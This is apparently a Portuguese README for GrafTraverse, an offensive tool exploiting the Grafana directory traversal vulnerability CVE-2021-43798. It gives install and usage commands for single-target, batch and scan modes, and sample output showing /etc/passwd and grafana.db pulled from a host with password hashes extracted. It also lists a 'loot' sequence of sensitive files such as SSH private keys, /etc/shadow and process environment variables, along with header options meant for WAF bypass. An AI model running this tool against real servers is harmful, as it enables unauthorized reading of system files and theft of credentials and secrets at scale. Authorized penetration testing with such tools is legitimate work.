
CVE-2021-43798 MiNi Framework de Exploração
Ferramenta de automação por linha de comando para testes de segurança autorizados da vulnerabilidade de Directory Traversal do Grafana (CVE-2021-43798).
CVE-2021-43798 é uma vulnerabilidade de directory traversal não autenticada no Grafana 8.x que permite que atacantes leiam arquivos arbitrários no sistema de arquivos subjacente através do endpoint /public/plugins/. A causa raiz é a sanitização inadequada de caminhos em requisições de ativos de plugins, permitindo que sequências ../ escapem do diretório pretendido.
GrafTraverse é uma reescrita completa do proof-of-concept original. Ele corrige bugs críticos de manipulação de requisições, adiciona varredura em lote multi-thread, descoberta automática de plugins, extração de credenciais e relatórios estruturados — tornando-se uma ferramenta de nível de produção para equipes de red team e testadores de penetração.
# Clone o repositório
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Garanta que requests esteja disponível (vem com o Kali)
pip3 install requests
# Torne executável
chmod +x GrafTraverse.py
O GrafTraverse usa uma CLI baseada em subcomandos. Todos os comandos suportam --help.
Inicie o menu interativo contra um host:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
MODO INTERATIVO
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Caminho personalizado
5. Saque automatizado completo
6. Escanear plugins
7. Sair
============================================================
Identifique rapidamente qual endpoint de plugin está vulnerável sem exploração:
python3 GrafTraverse.py scan -u http://target:PORT
Carregue alvos de um arquivo e processe-os concorrentemente:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
Formato do targets.txt:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Linhas começando com # são ignoradas
Forneça uma lista de arquivos personalizada para traversal profundo:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Roteie através do Burp Suite e adicione cabeçalhos personalizados:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| Bandeira | Descrição |
|---|---|
-l, --list | Arquivo com URLs de alvo (obrigatório) |
--workers | Threads concorrentes (padrão: 5) |
(todas as bandeiras de single suportadas) |
scan| Bandeira | Descrição |
|---|---|
-u, --url | URL do alvo (obrigatório) |
| (todas as bandeiras de rede suportadas) |
[+] Saída: 20260526_GrafTraverse
[*] Testando: /etc/passwd (via alertlist)
[+] SUCESSO: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Salvo: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testando: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCESSO: /var/lib/grafana/grafana.db (98304 bytes)
[+] Salvo: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extraídos 3 hashes de senha:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
A sequência de saque embutida tenta recuperar os seguintes arquivos em ordem:
| Funcionalidade | Descrição |
|---|
| Força Bruta Multi-Plugin | Sonda automaticamente mais de 40 plugins embutidos para encontrar um caminho vulnerável |
| Modo Interativo | Modo menu-driven para exploração de alvo único com pré-visualização de arquivos ao vivo |
| Modo Lote | Varredura concorrente de múltiplos alvos com workers configuráveis |
| Modo Wordlist | Enumeração profunda de arquivos usando wordlists personalizadas |
| Extração Automática de Hashes | Extrai automaticamente hashes de senha PBKDF2 do grafana.db baixado |
| Registro Estruturado | Exporta resultados para JSON e CSV para relatórios contínuos |
| Suporte a Proxy | Roteia tráfego através do Burp, ZAP ou qualquer proxy HTTP (--proxy) |
| Cabeçalhos Personalizados | Injeta cabeçalhos arbitrários para bypass de WAF ou tokens de autenticação (-H) |
| Personalização de Traversal | Substitui profundidade de traversal padrão para ambientes não padrão (--depth) |
| Filtragem Inteligente | Elimina falsos positivos rejeitando respostas de JS/CSS/HTML de plugins |
| Zero Dependências | Requer apenas requests (pré-instalado no Kali / Parrot) |
| Bandeira | Descrição |
|---|
-u, --url | URL do alvo (obrigatório) |
--no-download | Modo somente visualização, não salva arquivos |
-t, --timeout | Tempo limite da requisição em segundos (padrão: 10) |
--proxy | URL do proxy HTTP/HTTPS |
-H, --header | Cabeçalho personalizado (repetível) |
--depth | String de traversal (padrão: ../../../../../../../../) |
--output-dir | Diretório para salvar arquivos recuperados |
--json | Anexa resultados ao arquivo de log JSON |
--csv | Anexa resultados ao arquivo de log CSV |
--wordlist | Arquivo contendo caminhos a enumerar |
--plugin | Força um nome de plugin específico |
| Arquivo | Tipo | Sensibilidade |
|---|
/etc/passwd | Texto | Enumeração de usuários |
/etc/shadow | Texto | Hashes de senha (raramente legível) |
/etc/hosts | Texto | Topologia de rede |
/etc/hostname | Texto | Identificação do host |
/etc/grafana/grafana.ini | Texto | Segredos do Grafana e credenciais do BD |
/var/lib/grafana/grafana.db | Binário | SQLite DB com hashes de usuário e chaves de API |
/var/log/grafana/grafana.log | Texto | Inteligência operacional |
/root/.ssh/id_rsa | Texto | Chave privada SSH |
/root/.ssh/authorized_keys | Texto | Mapeamento de acesso baseado em chave |
/proc/self/environ | Texto | Variáveis de ambiente do processo |
/proc/self/cmdline | Texto | Argumentos do processo |
/proc/version | Texto | Versão do kernel |
/proc/mounts | Texto | Layout do sistema de arquivos |
/etc/os-release | Texto | Identificação do SO |
/etc/issue | Texto | Identificação do SO |
/etc/crontab | Texto | Tarefas agendadas |
/etc/resolv.conf | Texto | Configuração de DNS |